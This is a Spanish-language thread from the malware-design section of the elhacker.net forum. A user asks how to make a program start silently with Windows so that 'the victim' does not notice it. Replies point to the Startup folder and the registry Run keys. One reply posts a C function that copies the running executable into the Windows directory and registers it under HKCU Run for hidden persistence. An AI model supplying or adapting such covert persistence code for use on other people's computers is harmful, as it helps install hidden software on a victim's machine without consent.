Foro de elhacker.net

Seguridad Informática => Análisis y Diseño de Malware => Mensaje iniciado por: joselet99 en 27 Marzo 2017, 16:14 pm



Título: Crear programa que se ejecute al iniciar windows.
Publicado por: joselet99 en 27 Marzo 2017, 16:14 pm
Hola tengo un programa que me gustaría que se iniciara solo al encender el windows y que no se vea,es decir que este en ejecución pero que la victima no se de cuenta.


Título: Re: Crear programa que se ejecute al iniciar windows.
Publicado por: PalitroqueZ en 27 Marzo 2017, 17:25 pm
que tan oculto lo quieres?

las 2 formas faciles son

crear un acceso directo en la carpeta inicio (del menu de windows)

crear una clave con la ruta del programa en el registro de configuracion de windows en la rama

HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run



Título: Re: Crear programa que se ejecute al iniciar windows.
Publicado por: joselet99 en 27 Marzo 2017, 17:46 pm
Me gustaría que cada vez que enciendo el pc el programa se ejecute automáticamente y qui no se vea abierto,solo que se ejecute.


Título: Re: Crear programa que se ejecute al iniciar windows.
Publicado por: PalitroqueZ en 27 Marzo 2017, 17:59 pm
tu segunda petición ya es parte de la programación del software. tienes que programarlo como un proceso, sin GUI o con opciones a linea de comandos para alternar ambas formas de arrancar


Título: Re: Crear programa que se ejecute al iniciar windows.
Publicado por: dapz en 7 Abril 2017, 19:17 pm
Código
  1. void copiarregistro()
  2. {
  3. char rutaactual[MAX_PATH]
  4. char nuevaruta[MAX_PATH]
  5.  
  6. HMODULE GetModH = GetModuleHandle(0);
  7. GetModuleFileNameA(GetModH, rutaactual, sizeof(rutaactual));
  8. GetWindowsDirectoryA(nuevaruta, sizeof(nuevaruta));
  9.  
  10. strcat(nuevaruta, "\\ejemplo.exe");
  11. CopyFileA(rutaactual, nuevaruta, 0);
  12.  
  13. HKEY hKey;
  14. RegOpenKeyExA(HKEY_CURRENT_USER, "Software\\Microsoft\\Windows\\CurrentVersion\\Run", 0, KEY_SET_VALUE, &hKey);
  15.  
  16. RegSetValueExA(hKey, "ejemplo.exe", 0, REG_SZ, (const unsigned char*)nuevaruta, sizeof(nuevaruta));
  17.  
  18. RegCloseKey(hKey);
  19.  
  20.  
  21. }


· Los códigos deben ir en etiquetas GeSHi
>aquí las reglas del foro (http://foro.elhacker.net/reglas.htm)
-Engel Lex